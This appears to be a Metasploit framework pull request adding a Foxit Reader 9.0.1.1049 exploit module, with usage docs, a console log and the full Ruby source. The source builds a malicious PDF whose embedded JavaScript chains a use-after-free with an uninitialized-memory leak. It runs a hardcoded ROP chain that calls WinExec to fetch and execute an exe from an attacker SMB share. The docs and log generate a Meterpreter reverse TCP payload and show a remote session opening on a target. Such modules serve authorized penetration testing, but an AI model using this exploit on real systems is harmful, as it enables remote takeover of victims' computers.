Add Foxit Reader UAF Module and Docs
Jacob Robles
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## Description
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Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134.
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## Vulnerable Application
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[Foxit Reader v9.0.1.1049](https://www.exploit-db.com/apps/1040d634123948886f664afc95ec0a5e-FoxitReader901_enu_Setup_Prom.exe) and earlier
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## Verification Steps
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1. `./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> --arch x86 -f exe /share/path/tmp.exe`
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2. `chmod 777 /share/path/tmp.exe`
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3. `./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share <share> ; set lhost <lhost> ; run`
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4. `use multi/handler`
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5. `set payload windows/meterpreter/reverse_tcp`
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6. `set lhost <lhost>`
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9. `run -j`
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10. Copy pdf over to target. Start Foxit Reader then open pdf from Foxit's Menu.
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Note: The target machine running Foxit Reader will need network access to the system hosting the exe.
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## Scenarios
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### Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134
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```
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msfdev@simulator:~/git/metasploit-framework
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$ ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.222.197 LPORT=4444 --arch x86 -f exe -o /opt/malicious/tmp.exe
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[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
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No encoder or badchars specified, outputting raw payload
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Payload size: 341 bytes
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Final size of exe file: 73802 bytes
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Saved as: /opt/malicious/tmp.exe
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msfdev@simulator:~/git/metasploit-framework
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$ chmod 777 /opt/malicious/tmp.exe
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msfdev@simulator:~/git/metasploit-framework
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$ ./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share tmp ; set lhost 172.22.222.197 ; run '
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exename => tmp.exe
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share => tmp
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lhost => 172.22.222.197
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[*] share_path: \\172.22.222.197\tmp\tmp.exe
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[+] test.pdf stored at /home/msfdev/.msf4/local/test.pdf
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msf5 exploit(windows/fileformat/foxit_reader_uaf) > use multi/handler
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msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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msf5 exploit(multi/handler) > set lhost 172.22.222.197
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lhost => 172.22.222.197
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msf5 exploit(multi/handler) > set exitonsession false
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exitonsession => false
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msf5 exploit(multi/handler) > run -j
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[*] Exploit running as background job 0.
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[*] Started reverse TCP handler on 172.22.222.197:4444
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[*] Sending stage (179779 bytes) to 172.22.222.200
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[*] Meterpreter session 1 opened (172.22.222.197:4444 -> 172.22.222.200:49673) at 2018-08-21 07:50:34 -0500
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msf5 exploit(multi/handler) > sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > sysinfo
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Computer : DESKTOP
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OS : Windows 10 (Build 17134).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/windows
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meterpreter > getuid
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Server username: DESKTOP\msfdev
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```
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@ -0,0 +1,218 @@
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
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'Description' => %q{
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Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
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in the Text Annotations component and the TypedArray's use
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uninitialized pointers.
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The vulnerabilities can be combined to leak a vtable memory address,
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which can be adjusted to point to the base address of the executable.
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A ROP chain can be constructed that will execute when Foxit Reader
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performs the UAF.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'mr_me', # Use-after-free and PoC
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'bit from meepwn', # Uninitialized pointer
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'saelo', # JavaScript Garbage Collector
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'Jacob Robles' # Metasploit Module
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],
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'References' =>
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[
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['CVE', '2018-9948'],
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['CVE', '2018-9958'],
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['ZDI', '18-332'],
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['ZDI', '18-342'],
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['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
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['URL', 'https://srcincite.io/pocs/cve-2018-9958.pdf.txt']
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],
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'DefaultOptions' =>
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{
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'DisablePayloadHandler' => true,
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'FILENAME' => 'test.pdf',
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'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 10 Pro x64 Build 17134', {}]
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],
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'DisclosureDate' => 'Apr 20 2018',
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'DefaultTarget' => 0))
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register_options([
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OptString.new('EXENAME', [false, 'EXE file to download', '']),
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OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
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])
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end
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def pdfdoc
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share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['SHARE']
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fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
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fname << '.exe' unless fname.ends_with?('.exe')
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share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
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num = 4 - (share_path.length % 4)
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share_path << "\x00"*num
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return nil if share_path.length > 44
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print_status("share_path: #{share_path}")
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rop = ''
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max_index = 0
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share_path.unpack('V*').each_with_index {|blk, index|
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rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
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max_index = index
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}
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(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
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<<~PDFDOC
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%PDF
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1 0 obj
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<</Pages 1 0 R /OpenAction 2 0 R>>
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2 0 obj
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<</S /JavaScript /JS (
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var heap_ptr = 0;
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var foxit_base = 0;
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var pwn_array = [];
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function prepare_heap(size){
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var arr = new Array(size);
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for(var i = 0; i < size; i++){
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arr[i] = this.addAnnot({type: "Text"});;
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if (typeof arr[i] == "object"){
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arr[i].destroy();
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}
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}
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}
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function gc() {
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const maxMallocBytes = 128 * 0x100000;
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for (var i = 0; i < 3; i++) {
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var x = new ArrayBuffer(maxMallocBytes);
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}
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}
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function alloc_at_leak(){
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for (var i = 0; i < 0x64; i++){
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pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
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}
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}
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function control_memory(){
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for (var i = 0; i < 0x64; i++){
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for (var j = 0; j < pwn_array[i].length; j++){
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pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
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}
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}
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}
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function leak_vtable(){
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var a = this.addAnnot({type: "Text"});
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a.destroy();
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gc();
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prepare_heap(0x400);
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var test = new ArrayBuffer(0x60);
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var stolen = new Int32Array(test);
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var leaked = stolen[0] & 0xffff0000;
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foxit_base = leaked - 0x01f50000;
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}
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function leak_heap_chunk(){
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var a = this.addAnnot({type: "Text"});
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a.destroy();
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prepare_heap(0x400);
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var test = new ArrayBuffer(0x60);
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var stolen = new Int32Array(test);
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alloc_at_leak();
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heap_ptr = stolen[1];
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}
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function reclaim(){
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var arr = new Array(0x10);
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for (var i = 0; i < arr.length; i++) {
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arr[i] = new ArrayBuffer(0x60);
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var rop = new Int32Array(arr[i]);
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rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
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rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
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rop[0x02] = 0x72727272; // junk
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rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
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rop[0x04] = 0xffffffff; // ret of WinExec
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rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
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rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
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rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
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rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
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rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
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rop[0x0a] = foxit_base + 0x0041c6ca; // ret
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rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
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#{rop}
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rop[0x17] = 0x00000000; // adios, amigo
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}
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}
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function trigger_uaf(){
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var that = this;
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var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
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var arr = [1];
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Object.defineProperties(arr,{
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"0":{
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get: function () {
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that.getAnnot(0, "uaf").destroy();
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reclaim();
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return 1;
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}
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}
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});
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a.point = arr;
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}
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function main(){
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leak_heap_chunk();
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leak_vtable();
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control_memory();
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trigger_uaf();
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}
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if (app.platform == "WIN"){
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if (app.isFoxit == "Foxit Reader"){
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if (app.appFoxitVersion == "9.0.1.1049"){
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main();
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}
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}
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}
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)>> trailer <</Root 1 0 R>>
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PDFDOC
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end
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def exploit
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mypdf = pdfdoc
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if mypdf.nil?
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fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
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end
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file_create(mypdf)
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end
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end
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